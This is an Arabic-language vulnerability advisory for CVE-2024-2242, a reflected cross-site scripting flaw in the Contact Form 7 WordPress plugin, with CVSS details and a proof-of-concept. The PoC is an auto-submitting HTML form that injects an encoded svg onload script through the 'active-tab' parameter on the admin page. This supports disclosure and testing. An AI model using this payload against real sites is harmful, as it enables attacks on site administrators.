CVE-2024-2242

Contact Form 7 <= 5.9 - Cross-Site Scripting الانعكاسية

الوصف

إن إضافة Contact Form 7 الخاصة بووردبريس معرّضة لثغرة Cross-Site Scripting الانعكاسية عبر المعامل 'active-tab' في جميع الإصدارات حتى 5.9 وما يشملها، وذلك بسبب عدم كفاية تعقيم المدخلات وهروب المخرجات. وهذا يتيح للمهاجمين غير المصادَق عليهم حقن نصوص برمجية تعسفية في الصفحات التي يتم تنفيذها إذا نجحوا في خداع المستخدم لتنفيذ إجراء مثل النقر على رابط.

CVSS: 6.1
Impact: 2.7
Vector: network
User Interaction: required
Privileges Required: none
Published: 2024-03-13
Updated: 2024-03-13

POC

تحتاج إلى معرفة قيمة معرّف المقالة (post id) التي يوجد عليها النموذج، وإلا فلن يعمل الرابط عندما ينقر عليه المسؤول. بشكل عام، يجب أن تكون الصلاحيات المطلوبة عالية (H) لأنك تحتاج إلى أن ينقر المسؤول على الرابط.

<html>

  <body>
    <form action="http://kubernetes.docker.internal/wp-admin/admin.php">
      <input type="hidden" name="page" value="wpcf7" />
      <input type="hidden" name="post" value="4478" />
      <input type="hidden" name="active&#45;tab" value="&apos;&quot;&gt;&lt;svg&#47;onload&#61;prompt&#40;7&#41;&#59;&gt;&#123;&#123;7&#42;7&#125;&#125;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

CVE-2024-2242

الأكثر شعبية

CVE-2024-2242

الوصف

POC